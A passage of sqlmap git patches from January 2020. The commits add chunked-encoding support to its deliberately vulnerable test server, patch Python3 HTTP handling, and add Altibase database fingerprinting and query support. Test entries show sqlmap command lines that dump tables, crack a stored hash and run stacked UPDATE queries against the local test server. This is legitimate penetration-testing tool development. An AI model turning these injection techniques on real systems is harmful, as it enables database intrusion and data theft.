isNumPosStrValue('-2') False + >>> isNumPosStrValue('100000000000000000000') + False """ - return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) + return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT @cachedmethod def aliasToDbmsEnum(dbms): diff --git a/lib/core/settings.py b/lib/core/settings.py index 9a0f6962c..9f11a06b4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.51" +VERSION = "1.4.1.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8c57b9cd4c2b8ab7482c6aca8c25f26a4b702059 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 11:32:05 +0100 Subject: [PATCH 112/159] Fixes Python3 support for --chunked (drei) --- extra/vulnserver/vulnserver.py | 19 +++++++++++++++++++ lib/core/patch.py | 13 +++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 1 + 4 files changed, 34 insertions(+), 1 deletion(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 4c6d2f4f5..b5175711b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -193,6 +193,25 @@ class ReqHandler(BaseHTTPRequestHandler): data = self.rfile.read(length) data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) self.data = data + elif self.headers.get("Transfer-encoding") == "chunked": + data, line = b"", b"" + count = 0 + + while True: + line += self.rfile.read(1) + if line.endswith(b'\n'): + if count % 2 == 1: + current = line.rstrip(b"\r\n") + if not current: + break + else: + data += current + + count += 1 + line = b"" + + self.data = data.decode(UNICODE_ENCODING, "ignore") + self.do_REQUEST() def log_message(self, format, *args): diff --git a/lib/core/patch.py b/lib/core/patch.py index 6d809e413..94185d048 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -26,10 +26,12 @@ from lib.core.common import readInput from lib.core.common import shellExec from lib.core.common import singleTimeWarnMessage from lib.core.convert import stdoutEncode +from lib.core.data import conf from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate +from thirdparty import six from thirdparty.six.moves import http_client as _http_client def dirtyPatches(): @@ -40,6 +42,17 @@ def dirtyPatches(): # accept overly long result lines (e.g. SQLi results in HTTP header responses) _http_client._MAXLINE = 1 * 1024 * 1024 + # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) + if six.PY3: + if not hasattr(_http_client.HTTPConnection, "__send_output"): + _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + def _send_output(self, *args, **kwargs): + if conf.chunked and "encode_chunked" in kwargs: + kwargs["encode_chunked"] = False + self.__send_output(*args, **kwargs) + + _http_client.HTTPConnection._send_output = _send_output + # add support for inet_pton() on Windows OS if IS_WIN: from thirdparty.wininetpton import win_inet_pton diff --git a/lib/core/settings.py b/lib/core/settings.py index 9f11a06b4..b3a4635d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.52" +VERSION = "1.4.1.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 8e9640cb8..c282a6839 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -52,6 +52,7 @@ def vulnTest(): ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --data='id=1' --banner --chunked -v 5", ("Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Transfer-encoding: chunked")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), From 6d05985aef674a01ae538b110a4010dcb736bf63 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 12:08:24 +0100 Subject: [PATCH 113/159] Older Python versions have problems with chunking --- lib/core/settings.py | 2 +- lib/core/testing.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b3a4635d6..190cb9777 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.53" +VERSION = "1.4.1.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c282a6839..8e9640cb8 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -52,7 +52,6 @@ def vulnTest(): ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), - ("-u --flush-session --data='id=1' --banner --chunked -v 5", ("Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Transfer-encoding: chunked")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), From 70df6d8b22f2dd598637755fc70bd1e1896b61fa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 12:20:29 +0100 Subject: [PATCH 114/159] Minor update --- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 2c19030dc..c4f14a153 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -638,7 +638,7 @@ class Dump(object): if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() - logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) + logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: diff --git a/lib/core/settings.py b/lib/core/settings.py index 190cb9777..fc4420636 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.55" +VERSION = "1.4.1.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 8e9640cb8..3dbec7f5f 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -61,12 +61,12 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), - ("-d --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)), + ("-d --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) From d227413a14f704beacc680b579e7cce8f941e7bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 17:32:31 +0100 Subject: [PATCH 115/159] Adding support for Altibase --- data/xml/errors.xml | 5 ++ data/xml/queries.xml | 74 +++++++++++++++++++++- lib/controller/checks.py | 3 +- lib/controller/handler.py | 4 ++ lib/core/agent.py | 8 ++- lib/core/common.py | 6 +- lib/core/dicts.py | 20 +++++- lib/core/dump.py | 2 + lib/core/enums.py | 4 +- lib/core/settings.py | 13 ++-- lib/utils/brute.py | 6 +- plugins/dbms/altibase/__init__.py | 30 +++++++++ plugins/dbms/altibase/connector.py | 15 +++++ plugins/dbms/altibase/enumeration.py | 20 ++++++ plugins/dbms/altibase/filesystem.py | 11 ++++ plugins/dbms/altibase/fingerprint.py | 95 ++++++++++++++++++++++++++++ plugins/dbms/altibase/syntax.py | 22 +++++++ plugins/dbms/altibase/takeover.py | 28 ++++++++ plugins/generic/databases.py | 47 +++++++++----- plugins/generic/entries.py | 13 ++-- plugins/generic/search.py | 9 +-- plugins/generic/users.py | 6 +- 22 files changed, 394 insertions(+), 47 deletions(-) create mode 100644 plugins/dbms/altibase/__init__.py create mode 100644 plugins/dbms/altibase/connector.py create mode 100644 plugins/dbms/altibase/enumeration.py create mode 100644 plugins/dbms/altibase/filesystem.py create mode 100644 plugins/dbms/altibase/fingerprint.py create mode 100644 plugins/dbms/altibase/syntax.py create mode 100644 plugins/dbms/altibase/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 77c46bde3..3e9cbe545 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -210,4 +210,9 @@ + + + + + diff --git a/data/xml/queries.xml b/data/xml/queries.xml index ea2de83a5..7be42a59f 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -894,7 +894,6 @@ - @@ -1192,4 +1191,77 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 72aca0be1..07541f5f8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -54,6 +54,7 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.dicts import HEURISTIC_NULL_EVAL from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST @@ -888,7 +889,7 @@ def heuristicCheckDbms(injection): continue if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): - if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): + if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms break diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 86ee67f21..2f5a95e4e 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -12,6 +12,7 @@ from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.exception import SqlmapConnectionException from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES @@ -33,6 +34,8 @@ from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access import AccessMap +from plugins.dbms.altibase.connector import Connector as AltibaseConn +from plugins.dbms.altibase import AltibaseMap from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2 import DB2Map from plugins.dbms.derby.connector import Connector as DerbyConn @@ -93,6 +96,7 @@ def setHandler(): (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), + (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index cffc043a6..823af4ee6 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -659,7 +659,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -948,10 +948,14 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO,): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) + limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.DERBY,): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 49b4a158f..4e66d778e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4074,7 +4074,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if isTable: @@ -4110,9 +4110,9 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 561502372..1d4b2481f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -10,6 +10,7 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES @@ -208,6 +209,7 @@ DBMS_DICT = { DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), + DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -219,7 +221,23 @@ FROM_DUMMY_TABLE = { DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", - DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1" + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", +} + +HEURISTIC_NULL_EVAL = { + DBMS.ACCESS: "CVAR(NULL)", + DBMS.MAXDB: "ALPHA(NULL)", + DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", + DBMS.MYSQL: "QUARTER(NULL)", + DBMS.ORACLE: "INSTR2(NULL,NULL)", + DBMS.PGSQL: "QUOTE_IDENT(NULL)", + DBMS.SQLITE: "UNLIKELY(NULL)", + DBMS.MONETDB: "CODE(NULL)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", + DBMS.MCKOI: "TONUMBER(NULL)", + DBMS.PRESTO: "FROM_HEX(NULL)", + DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index c4f14a153..d9e3176f3 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -168,6 +168,8 @@ class Dump(object): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 6b37ee1da..8e31e6fa0 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -42,14 +42,15 @@ class DBMS(object): PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + INFORMIX = "Informix" HSQLDB = "HSQLDB" H2 = "H2" - INFORMIX = "Informix" MONETDB = "MonetDB" DERBY = "Apache Derby" VERTICA = "Vertica" MCKOI = "Mckoi" PRESTO = "Presto" + ALTIBASE = "Altibase" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -70,6 +71,7 @@ class DBMS_DIRECTORY_NAME(object): VERTICA = "vertica" MCKOI = "mckoi" PRESTO = "presto" + ALTIBASE = "altibase" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index fc4420636..b4848faf7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.56" +VERSION = "1.4.1.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -264,6 +264,7 @@ DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) +ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb") @@ -283,20 +284,22 @@ DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) - -UPPER_CASE_IDENTIFIERS = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY)) +ALTIBASE_ALIASES = ("altibase",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# DBMSes with upper case identifiers +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE)) + # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 4004bffd9..f3877dae1 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -41,7 +41,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX -from lib.core.settings import UPPER_CASE_IDENTIFIERS +from lib.core.settings import UPPER_CASE_DBMSES from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject @@ -84,7 +84,7 @@ def tableExists(tableFile, regex=None): pushValue(conf.db) - if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to 